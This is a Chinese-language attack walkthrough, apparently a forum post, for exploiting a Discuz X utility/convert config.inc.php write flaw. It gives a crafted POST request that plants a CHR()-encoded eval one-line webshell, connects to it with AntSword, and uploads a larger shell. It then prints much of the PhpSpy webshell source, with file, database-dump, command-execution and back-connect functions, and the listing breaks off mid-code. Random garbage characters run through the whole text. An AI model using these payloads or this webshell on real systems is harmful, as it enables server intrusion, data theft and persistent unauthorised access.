|
攻击思路:9 h) e0 P6 S& s
想要拿下一台主机A的权限:
8 B+ s) ]1 A# L+ s1 ~* A1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞7 \4 g" ?, G7 {, l4 I2 M
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权' e. U. z& R: I' ~/ K
3、传上去后,得到apache用户普通权限,再提权成root
, E% F& j7 F4 \8 x5 C9 _概述:
4 k i+ H+ c" f6 o+ h3 G这突破在一个DZ X系列自带的转换工具里面。
0 x s/ S" v4 i/ {. S漏洞路径:utility / convert / data / config.inc.php
/ |1 o& `% x Y; Z漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
$ y. P2 ]8 p A8 h3 d触发突破过程:- B8 L9 }/ u: V' u& Y \
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php " e) q: A" X6 ~5 S
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
/ m7 n" z+ ]' c, J2 n! c! H攻击过程:$ v8 I* l& Y2 ~6 h0 s. o( K
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/- M# [. u, x5 g; B' d+ O
, U! Y v7 L, g* b; ~

( p1 y7 H+ e G2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马2 s2 k; @# Q# }+ `; ], B5 G% o

9 F, H4 T5 i4 m# {7 W8、通过中国蚁剑上传大码
. B1 Y7 d- w1 \7 s
: y1 K0 v: K$ b) z # y9 X; d, {* J3 A' m$ }
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
6 C& R! R% D# Q- C% V* R) v/ X) N+ U/ G -
7 |4 U9 u+ e+ g t: I6 S) h - /*****************************************************************************3 g3 A" C# |$ m5 t, P6 x
-
2 P) Z3 M7 c3 ]1 p* h - ===================== 请误用于非法用途,造成一切后果与本人无关。====================
3 j, W5 d, P. ~% m -
: I, U: l& d! {% A5 M - ====! K8 V( E9 F" H( v5 w, r
-
( M: T; S( P6 M# f; R$ Q - - x! B" Y$ Y6 A5 [
- *****************************************************************************/! \& {' @" y# }& ^
- 6 J, _) z9 Y/ k3 \. D6 u" [
- error_reporting(7);% {% t) b: g1 I
- @set_magic_quotes_runtime(0);
+ R5 |2 Z- }0 n6 s* n - ob_start();
1 k% H% [/ `2 M; V, h# _$ x. f - $mtime = explode(' ', microtime());! A. D4 X3 o$ L/ J
- $starttime = $mtime[1] + $mtime[0];+ R F2 d7 g% @) ?6 i0 }
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');; a% o+ n0 h$ i- {8 b$ B1 v) c
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
6 \- @+ p% h* R - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9 k5 G3 _( u2 ]: C3 D! o9 b+ @% ?: u - define('IS_COM', class_exists('COM') ? 1 : 0 );
8 c2 N8 c e0 w% F# i% W& Q# W - define('IS_GPC', get_magic_quotes_gpc());
$ t5 n( @2 e Y& M( X6 R - $dis_func = get_cfg_var('disable_functions');- m( F0 t" ^* g0 e* S+ f* U
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
7 g- W* |0 k7 K4 {0 j7 H - @set_time_limit(0);
8 B3 m8 k# c% T* k! N8 V -
1 ^7 `. J/ g( T - foreach(array('_GET','_POST') as $_request) {8 `$ H$ Q3 a- y( q [6 i5 Z
- foreach($$_request as $_key => $_value) {8 K" r! M$ P+ t* S6 k5 z0 b
- if ($_key{0} != '_') {
5 D% y H6 B% y4 M( [+ e - if (IS_GPC) {
/ U l( r7 L1 p) `! U) X" V - $_value = s_array($_value);( T" q" w4 `5 e3 d3 K; G
- }
/ k# d) \/ n/ D, i! K2 C& P( _ a% L - $$_key = $_value;( u! m6 [5 n$ O1 M" A
- }- R8 q: ^6 e5 z& \
- }: g# `$ S9 Q7 E. @1 X
- }/ q4 `. r3 k/ q/ c8 V F
- 0 n/ @1 M. h1 ^' P" m! b0 o9 V0 I7 }5 f
- /*===================== 程序配置 =====================*/6 L" c/ F6 e: w& r3 V
- $admin = array();
1 r! G8 \1 I$ O" _+ k" A+ ~& P& p2 R - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
' k1 [8 G. o' h+ N% v* D - $admin['check'] = true;+ G6 }/ K: N. m( e
- // 如果需要密码验证,请修改登陆密码
0 h. M. P$ ~, Y, E. W - $admin['pass'] = 'xuegod';8 \' Q6 i ?) O! S- N N. Q* @
-
8 T4 w7 Z4 }6 m3 i! R& ?/ e- } - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
, G; u* g) J; r% @* |% t - // cookie 前缀/ y A0 {% X& R% K$ ]- b% N& _/ ^
- $admin['cookiepre'] = '';- T: U, X P% b( V5 L
- // cookie 作用域
4 Q8 ~/ {9 }+ c* w - $admin['cookiedomain'] = '';: J& y: o* {5 {6 H+ i; t4 ~
- // cookie 作用路径# x% e# P$ S& T; A$ A. w& {
- $admin['cookiepath'] = '/';
* A! k' o. q# s0 J0 J2 ~. [' }/ J - // cookie 有效期: ^+ A$ p4 b' Q" P
- $admin['cookielife'] = 86400;, Y/ w i9 }, S: r) ]
- /*===================== 配置结束 =====================*/
, ~+ c( Y* |: a - ! T7 a" a4 x% a! U2 p Y! H$ N
- if ($charset == 'utf8') {
1 B) u9 l+ q( x v) P5 k - header("content-Type: text/html; charset=utf-8");
5 j& I! _# u7 L; B5 _ - } elseif ($charset == 'big5') {; m4 d. w9 y! \7 t
- header("content-Type: text/html; charset=big5");
' r% _ Q; X Z# C& l0 @, b( R - } elseif ($charset == 'gbk') {, x) b0 @+ b$ j
- header("content-Type: text/html; charset=gbk");- d% z$ t9 F" [. {
- } elseif ($charset == 'latin1') {( p) w$ c }5 R9 x4 @
- header("content-Type: text/html; charset=iso-8859-2"); r) \# v# m+ v6 R4 V4 F/ A" f/ W6 m
- }
) v, L1 t7 v5 h$ F7 q. x - - _/ d+ q9 k6 [% d7 V5 z
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];2 ?; E7 b; n1 x. Q8 u3 B' K1 a: l
- $timestamp = time();3 ~- W' r' t4 b7 V
- 4 e3 B% b2 U6 ~
- /*===================== 身份验证 =====================*/
* W# U6 ^. ~# u1 p7 J* P9 n H - if ($action == "logout") {
' t) l9 O$ v5 C - scookie('phpspypass', '', -86400 * 365);
. N( F/ L' ?! _: o - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');; R U7 R/ B' f1 Y/ y
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');/ W9 R+ L+ v4 W" t/ z3 V7 q5 Z
- exit;/ m* o/ L9 h* Q0 i; a
- }
6 @; O" w2 e- u% T2 Y% }+ h - if($admin['check']) {+ d- y' v$ R5 |0 M0 N$ t6 N
- if ($doing == 'login') {
; `0 }: G2 K; O8 K: { - if ($admin['pass'] == $password) {
3 \) z5 }% z+ f" T3 `9 m) D/ e - scookie('phpspypass', $password);
; T2 p2 b0 B6 b" I* B l1 G! W" D - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');. M: b0 |2 p: Z8 [
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
) ? C5 f+ Q$ Y1 r& @9 ? - exit;1 K5 u* ~) R! _; s% z4 z
- }; i5 B* _0 N5 {" ^6 r3 O' J
- }
# Q' ~% d& a% |4 z! R - if ($_COOKIE['phpspypass']) {
2 V9 a; S' O7 o; J3 _8 T' q5 g - if ($_COOKIE['phpspypass'] != $admin['pass']) {1 H* n( g2 m& W, N
- loginpage();
: @9 ~& Z1 C; w! I% u6 ` - }
: x8 T# R3 ~0 U' g1 h - } else {, S8 ]. C! X; M; P8 `4 z8 @
- loginpage();- Z$ I0 u; O! M8 X8 E
- }
a$ n3 R5 U7 [: f - }2 }4 i) ~, J. n+ ` n2 ^
- /*===================== 验证结束 =====================*/
. P }2 p; y) d6 S/ r4 L - 6 }' O" R4 P6 @" w. ]
- $errmsg = '';8 `. u* c" t- X9 D% @
- ' b4 U0 \1 \$ V
- // 查看PHPINFO
: m# c: x, w+ F- y* E - if ($action == 'phpinfo') {
5 b* a' d6 @0 Z% U - if (IS_PHPINFO) {
: o) c7 G7 `; G$ N2 W+ O - phpinfo();, m e7 Z2 ?. y. S
- } else {
8 C& j9 w4 [! I( s - $errmsg = 'phpinfo() function has non-permissible';- j- k) G3 N% U" n1 J$ @- Q
- }3 _; d4 f" U5 k4 t( J
- }! q- V' d0 l! B; D' C
-
, U7 l a, h7 Y$ a2 C3 @0 L - // 下载文件) z- n/ n) N' H: D
- if ($doing == 'downfile' && $thefile) {) ?" }8 F+ |7 b; {, @ s+ i
- if (!@file_exists($thefile)) {
) c$ q# R% D$ }" j - $errmsg = 'The file you want Downloadable was nonexistent';
9 C4 g7 c" X( p9 H& [' k0 R - } else {
4 ?" P9 _: T3 [7 m - $fileinfo = pathinfo($thefile); \, ^- [/ C/ \/ M
- header('Content-type: application/x-'.$fileinfo['extension']);
* G* e" j( Z& q: u, U D0 O/ a! x - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);8 m, G* n2 x" J& b9 [
- header('Content-Length: '.filesize($thefile));
4 Y* c% k5 ~9 v% V - @readfile($thefile);
2 M+ J# _& }* j% t - exit;
3 q6 X$ ^4 u+ y! ?& d" S. m - }! ?& p0 O4 {% M, X4 ~/ ^
- }% Y8 F7 D6 G0 M$ {: F
-
% C* h; w# t2 F3 o! r' q4 h - // 直接下载备份数据库1 s8 i7 ?% Z N( N8 t" C' E9 ^
- if ($doing == 'backupmysql' && !$saveasfile) {
, e! K* q% N9 x' k" V1 X$ a - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
6 m3 u% D9 l4 a; y, x2 A - $table = array_flip($table);
( ?' G8 r. r% F) y! J - $result = q("SHOW tables");
6 r% E) H5 a O4 N4 k - if (!$result) p('<h2>'.mysql_error().'</h2>');
* f4 |% r8 ~# Y% G: u - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');8 [( I& k. H' o+ @( W
- header('Content-type: application/unknown');8 t! J4 b G. Y! O# s' i T
- header('Content-Disposition: attachment; filename='.$filename);
+ f( h w' b0 ~2 u" A& m6 F, X - $mysqldata = '';
1 {, h" N! o1 Q1 i. E5 p/ b - while ($currow = mysql_fetch_array($result)) {
; i8 M Q* P# ^7 E9 r' K, f" Y - if (isset($table[$currow[0]])) {
6 v. S2 v; A% t+ b0 O, t4 H6 n - $mysqldata .= sqldumptable($currow[0]);; R0 X3 k( \/ }' k3 D: W
- }
& J: k+ V: E& z) J1 D( f. k - }) V6 m( f$ g1 x- K [3 `. k
- mysql_close();
' O4 y2 u0 b5 C. c - exit;
) u* ?# l2 U- ?3 T - }* I/ x- G: ?+ _
- 6 K# ^ Q c9 w+ e0 R: o
- // 通过MYSQL下载文件+ h+ b. Y% }( }' v! t4 B
- if($doing=='mysqldown'){1 U3 ~8 u5 j" m2 g2 z
- if (!$dbname) {
5 H! @- A. W K, Y- W6 o3 Q4 y - $errmsg = 'Please input dbname';1 m+ a D- F7 o8 }
- } else {
+ P2 y- a7 z# P( U$ | - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);' J* t p, D& |: b, h- @3 m* U
- if (!file_exists($mysqldlfile)) {
4 {0 _& c' x/ L- [1 T - $errmsg = 'The file you want Downloadable was nonexistent';
9 A3 U2 b( s! Z& n' I4 m. o2 `4 z - } else {, j! s: o# H2 a4 p' Z# c
- $result = q("select load_file('$mysqldlfile');");
, ?6 t4 F) z X( ^, r - if(!$result){
9 F6 w5 L& f" W1 B; k5 Z - q("DROP TABLE IF EXISTS tmp_angel;");
! @# r% I+ G' T+ T4 p - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
7 n( }; B6 `, V& F( J - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况' W& p$ L3 W$ }4 r1 M
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
) p8 Q- q, u& v. \0 e2 r - $result = q("select content from tmp_angel");& f0 H F6 K% t3 D
- q("DROP TABLE tmp_angel");9 r& u1 P3 }) D; w* [
- }4 K( @ f( y( u. y6 A! l, g( c
- $row = @mysql_fetch_array($result);
1 }2 y8 p7 E! W# @# c - if (!$row) {
* M% z5 |7 ~& a3 k - $errmsg = 'Load file failed '.mysql_error();
# K3 ]: q. D! B0 Y - } else {4 w1 ~/ g' Z$ i/ e' l$ B `
- $fileinfo = pathinfo($mysqldlfile);
6 A6 D# n9 z/ l( H6 N# m0 d8 Y - header('Content-type: application/x-'.$fileinfo['extension']);
- W, y) _2 ~2 @ - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);7 T2 t! r) F- `- n1 z8 p k
- header("Accept-Length: ".strlen($row[0]));& b! K. D$ {' V' e" b, Y& i/ r
- echo $row[0];
. W2 C7 X( N( B; B2 y - exit;
$ ?0 B% G: N1 \/ M# N8 Z2 f - }. s- Z6 ]6 l3 S3 l- g9 v7 z
- }) i% j- u8 t! _0 @" R% |! L0 T
- }% G% @+ b+ W6 T: \* e" Z
- }
% `, G% @- ~9 m' T -
& D+ X" {6 I. O& Q& C* v - ?>
0 {# S8 }# [5 r" l/ l( ?; G% z - <html>
' n4 |7 m% g, H3 ` - <head>* @1 m0 h; E. ?
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">0 G; r6 w( W2 P5 I+ J/ z4 f7 W$ {
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>$ W% {( m" k3 ^$ A% |
- <style type="text/css"># o+ s' p* [# [: W: e- \6 f* o, d( s4 B
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}# l& c* _. z: g3 H7 K1 P0 t
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}, e1 l$ ? _1 c7 m: a7 z! Q
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}' V# e$ b* x9 N6 S. u- J) J
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}9 o$ V. \7 o- n9 r; D; x% J" z; ?
- a {color: #00f;text-decoration:underline;}
6 y) Q6 U, r2 v" R3 a- {* R - a:hover{color: #f00;text-decoration:none;}9 r& ]( D9 q& d& {0 c. o9 E& l4 E
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}4 i) ? k, u: a O
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
# q p3 I8 G4 [$ E. E3 m - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
& M# O, w, G" c# D+ J - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
! }9 `- V: J5 Q - .head td span{font-weight:normal;}
5 s: O$ S4 f# {; a( x' G - form{margin:0;padding:0;}$ e- S7 L* I- X& v
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}7 N& f8 z/ z' o( U
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}/ ?. q$ p7 d. Y
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
3 w* I; ^! N( S" J% z! D - </style>6 t; y* J* Z. m" d: g9 D5 l
- <script type="text/javascript">1 M. F8 |) N) I5 L& e6 S$ v
- function CheckAll(form) {/ ?4 J7 R! C0 O, I) b/ D
- for(var i=0;i<form.elements.length;i++) {5 l) ^# [. o9 v' M$ e _; O
- var e = form.elements[i];8 Y- r. s1 E# J! x
- if (e.name != 'chkall')& a* f: ^* n; V7 R2 L* M; }8 u V6 B4 [# O
- e.checked = form.chkall.checked;
2 P* N q5 H1 W6 c0 W - }8 b) W! J# F# b3 ], {: O' z
- }
$ W! b. E' f" U, ?* P/ [ - function $(id) {
& k2 l" u5 J5 M0 f, F3 C - return document.getElementById(id);. R& B0 a# G4 }$ D/ q7 y$ @
- }
" [8 L- d$ @3 i0 M4 W8 D - function goaction(act){
2 e0 I6 [; g) K5 x, I# ` - $('goaction').action.value=act;
& F% Y! j( i7 l# l+ [ - $('goaction').submit();% n; w2 S0 v; W2 L
- }- P! Y! N1 J) w2 u9 \% O
- </script>" i4 r" f! ^) w# f
- </head>5 ]; K$ X7 I! L" {2 X5 ~
- <body style="margin:0;table-layout:fixed; word-break:break-all">
4 v0 F- M8 M, c8 u& Q0 E+ g - <table width="100%" border="0" cellpadding="0" cellspacing="0">
# G# C- i) q* D0 r" o - <tr class="head">+ g4 A6 g1 b2 I8 _
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>5 ~3 {/ T$ f$ J# u
- </tr>
$ F3 S- ^, Q4 X9 p9 a7 p7 j - <tr class="alt1">- P8 z3 |& B `: z+ ]1 G$ l
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>4 @/ F; B4 C5 ^8 q- D
- <a href="javascript:goaction('logout');">Logout</a> |
/ l5 X" f4 o4 }; O - <a href="javascript:goaction('file');">File Manager</a> | : Z6 }! L- I' F0 u
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | - F7 w) Q! o# k
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | 3 Q }& ^# s3 A6 `0 c8 [
- <a href="javascript:goaction('shell');">Execute Command</a> | , v6 @9 [9 J" V) N' V
- <a href="javascript:goaction('phpenv');">PHP Variable</a> |
% Z6 v0 }. ?: U3 V# i; i, {* C - <a href="javascript:goaction('eval');">Eval PHP Code</a>% E* R5 c* B% j, J) ^- G
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
: O0 l) `1 S$ i" r! M u - </td>
: H& p h* b6 L/ Y- g7 X, R' g3 B - </tr>
9 v" q8 X% l' ~/ [5 r& ?- [ - </table>' K8 D F: H7 K/ |- {0 q
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
8 Z ?7 o* H$ r# v - <?php
6 D& r9 i9 T- _1 Y8 V; P6 S( H3 ~ - . C4 I9 H2 S: }6 H! j# {. S6 ]- J
- formhead(array('name'=>'goaction'));- \+ z8 O" y, `% P
- makehide('action');) [: X) [' Y5 _! y
- formfoot();) v7 J" d' w, {4 s. `1 k1 h
-
4 x' ^9 c2 S6 y5 p& R x - $errmsg && m($errmsg);6 O2 L$ Z" O# ]
- 0 y( C1 y' l/ ^- V3 y/ k3 [: t/ A
- // 获取当前路径1 w; l( @2 i. u# @* Y5 R" c% [
- !$dir && $dir = '.';$ Y5 U0 e* e7 X- _' R' s% N
- $nowpath = getPath(SA_ROOT, $dir);
3 }$ W; [/ P: m, b, `1 y% | - if (substr($dir, -1) != '/') {# q0 v! ]- _& D5 f6 ~* A: R
- $dir = $dir.'/';- |; Z$ x' z$ `' X, h, c: u
- }) X9 o! N" @- r- e \
- $uedir = ue($dir);; A/ }* a. W, U! m
-
! a& l' A) `! ] - if (!$action || $action == 'file') {
( `) \5 a* t1 m+ _: [ -
$ [2 q0 p9 f3 |; L9 \+ q" o - // 判断读写情况$ M. P3 d3 N9 \4 U
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
# x/ }# S3 x5 g -
6 Y5 n0 T5 b' u' t- Q; M' F - // 删除目录
' t. _: N/ x; S9 `4 @7 _% F! g/ F - if ($doing == 'deldir' && $thefile) {. O+ p1 b0 Y' l" Z
- if (!file_exists($thefile)) {) m- v+ M5 y$ e5 l0 o4 h9 i
- m($thefile.' directory does not exist');* v8 |) K* S2 s1 G
- } else {
4 I& [; [- B. H2 [7 d2 v - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));+ \$ E- Z# l0 z1 y
- }
* W2 Z' s) r) V4 ^2 ^; E7 O - } P& [1 p0 y3 X6 S
-
% b6 C6 Q; o: B3 c& {4 @ - // 创建目录
$ F9 a! u4 ~. F7 N* ?9 r - elseif ($newdirname) {# X* N0 B4 @& M g9 x% |1 {# A0 H2 M
- $mkdirs = $nowpath.$newdirname;
0 K+ c7 e/ p/ H, Q8 E& z3 q& m - if (file_exists($mkdirs)) {& ^: P: y$ p; U: d( F& }& S6 Q
- m('Directory has already existed');
4 w- ~& T/ c! i% K - } else {
9 P7 R0 d) m1 a - m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
% s' M: f: z3 u/ F2 U - @chmod($mkdirs,0777);
+ @: C! [8 K# u+ ^+ F - }1 N! H" Q3 \* W7 U6 N z5 a
- }
0 e3 t: c8 h7 ?6 A+ [ -
0 A9 |. A9 x+ B7 p6 A5 V) w. s- n - // 上传文件6 m2 x. Q9 F; {) a
- elseif ($doupfile) { s- g8 W! f! \1 }: G
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));- F' _; g( z7 g4 q# m0 P
- }
4 L4 Q" {9 w' E - % @4 n& [. b+ i) [$ s
- // 编辑文件; [% C6 [ f( e6 Q+ G$ L
- elseif ($editfilename && $filecontent) {
8 d! b. i% G, [' a. A - $fp = @fopen($editfilename,'w');
% P9 k' T/ G; r, x5 _6 T" s1 j - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
6 W, s0 w' R2 a. g i - @fclose($fp); r6 Q% }1 r9 i' W* L+ W
- }3 A) |: C+ L% t! e
-
8 ?1 c' X2 d7 q" |- o3 C2 D+ q; c" Z - // 编辑文件属性
* j3 W d! I! R3 }0 U! `1 t - elseif ($pfile && $newperm) {4 K% }3 N, u, J
- if (!file_exists($pfile)) {
* k2 m' k- ?8 x7 U! ]1 K0 b - m('The original file does not exist');
6 ^ z7 G' G/ J) p, l2 m - } else {
% j2 l" }" l& D5 W0 V; ? - $newperm = base_convert($newperm,8,10);
) Q" c) D9 f- Z" X4 l+ Q1 n' I - m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));& j# J4 c% w; U% l" Q
- }
$ b3 J7 ~6 E0 c' M) B( q% ]+ T2 X - }
s; }4 D4 D8 E5 ] - 1 f1 G, ]1 @7 q8 j% p
- // 改名1 ?6 K s/ d% l- h0 M e6 R; |. o
- elseif ($oldname && $newfilename) {1 s" l: S# W5 j; m
- $nname = $nowpath.$newfilename;
* D8 R, n- d6 }( X: q+ I - if (file_exists($nname) || !file_exists($oldname)) {, Z* `# f8 a8 D# @' a
- m($nname.' has already existed or original file does not exist');& c& f$ F& R* }; J$ @: N+ Z! g
- } else {
8 V- |, w# ^1 J0 a - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));8 y/ z2 [# J; _) O, V6 l
- }
! p- _; `" i/ T0 ? - }
9 e4 z L2 i7 R; ] - 0 ]- ~+ e$ g E) L) q
- // 复制文件, S# c) W, H/ E3 o4 y1 k. e
- elseif ($sname && $tofile) {+ V. Y n% @$ {9 G$ G+ F& _: j: c2 p
- if (file_exists($tofile) || !file_exists($sname)) {
/ O8 j) w" e! K) k6 k' M - m('The goal file has already existed or original file does not exist');3 [( L" ~+ v: {4 v' l' y
- } else {) h( G, W7 }3 r" X
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));* H1 q! h% l& f4 p$ R- H. V" A
- }
+ T4 m" Y& ]6 F2 ?) w/ E4 w9 I - }+ Y+ k! l2 ?9 L5 ]& y
- 7 y- ?1 K$ d; \9 Y4 r" D* {8 p6 I% O
- // 克隆时间
4 k9 z% {3 d6 G - elseif ($curfile && $tarfile) {9 K" `) o% Y6 I
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {
: j: W9 w. j% u' ~2 Y4 C - m('The goal file has already existed or original file does not exist');
3 D- }' e" t) G5 v h0 H - } else {5 w& O ?0 C) T' n1 }) a& i7 B; `
- $time = @filemtime($tarfile); M* s3 x" Y8 c: V8 l
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));' R; Y2 ^2 l+ q+ I3 q* d
- }
9 G, J& P( H, b. G8 F% v6 @9 [5 J - }
" b6 W# G1 E# T3 o) H -
) F$ B. {! j! Z. A! p3 O! \$ s - // 自定义时间% {8 b( p$ C5 Y
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
, v- x) m+ H% N8 T9 _4 N - if (!@file_exists($curfile)) {
u T# \, }+ w' E& K% Z9 e4 z* w W - m(basename($curfile).' does not exist');7 ]7 e m8 k" B. C0 E' `. z6 W; J
- } else {. \* p2 f2 n2 T/ {. e
- $time = strtotime("$year-$month-$day $hour:$minute:$second");. U7 t- L2 c) c8 a0 k3 q
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
3 _* A5 N1 U% \# @$ _0 m - }1 g2 i6 u$ S8 f2 U% ? T/ U
- }
! Z: I. p4 y6 p1 ^( I* n -
& X6 H, ~5 P% @9 ?; J$ ~' {7 W - // 打包下载
+ _, f5 s7 D# U5 H5 U, v - elseif($doing == 'downrar') {
: \$ J/ m3 m" f# y - if ($dl) {+ S' l7 R$ O0 O$ z/ n2 F
- $dfiles='';4 u/ o6 r5 \! E, ?+ X, z
- foreach ($dl as $filepath => $value) {/ E" v9 q/ O# ~8 c# W
- $dfiles.=$filepath.',';
7 d+ M' P- J4 L5 j - }0 \ w/ u& \3 i; D+ E7 O8 i* b
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);* D2 w9 a% H0 P; V: E) c1 s
- $dl=explode(',',$dfiles);
0 t+ K, i1 h' G' g8 E" q - $zip=new PHPZip($dl);' h& ^9 O) g6 ~6 `1 v7 r
- $code=$zip->out;6 a! l2 b3 o" j8 O
- header('Content-type: application/octet-stream');$ l1 J- I6 ~7 B8 H
- header('Accept-Ranges: bytes');; O3 H, z7 }! @
- header('Accept-Length: '.strlen($code));. x+ t. l5 M* W N# }% ~
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
2 O: M+ v) L9 _ U" O0 l; P - echo $code;
7 i) R( {; o/ K - exit;4 D+ f5 U; c9 ^5 W
- } else {/ s% g$ a) b( i, Z: ], P$ N1 A
- m('Please select file(s)'); m* @: q; N5 i
- }+ X$ ?& m1 A) r& i n
- }: S% w; d. |; Z# r1 d+ ^" i
-
& l+ E; K1 [- t7 A7 ?7 j { - // 批量删除文件% t1 i1 b7 P6 B
- elseif($doing == 'delfiles') {, n% X) a9 x2 u- _# ?4 _& n) i5 J
- if ($dl) {! Z% u' u r, T3 T: H& L
- $dfiles='';* V* Y8 i4 w4 P7 ^& H* q
- $succ = $fail = 0;
2 v9 g( ~6 |, I* U' o& s4 N - foreach ($dl as $filepath => $value) {# I2 v0 o% i# v* J, o
- if (@unlink($filepath)) {
) i% [* p* I% l. n. O, \ - $succ++;
: z8 O7 a# L8 C: b - } else {, N$ B% ~, a' C2 b7 n* z
- $fail++;0 g+ c3 Z/ W" ]
- }& n' f4 s- J" a4 J/ D7 G3 m, T
- }
' K+ {1 S: i4 H - m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);, v4 C q; z9 G8 u$ W! n$ ~$ X L
- } else {
9 @6 E$ b0 q0 O - m('Please select file(s)');
, e* W) u- \2 C. `/ C! C: Z+ J - }( y3 I2 h! H5 `
- }
! `( L4 [, ?0 w$ Y! y6 C5 E5 h -
$ X& {& q' b" ~: `0 l9 D - //操作完毕# e+ N. z9 U w* G" B
- formhead(array('name'=>'createdir'));6 I: A4 d5 l3 d) G' w. l8 [: c: O
- makehide('newdirname');( m$ ?$ O/ K; I! r) ?8 D3 B
- makehide('dir',$nowpath);
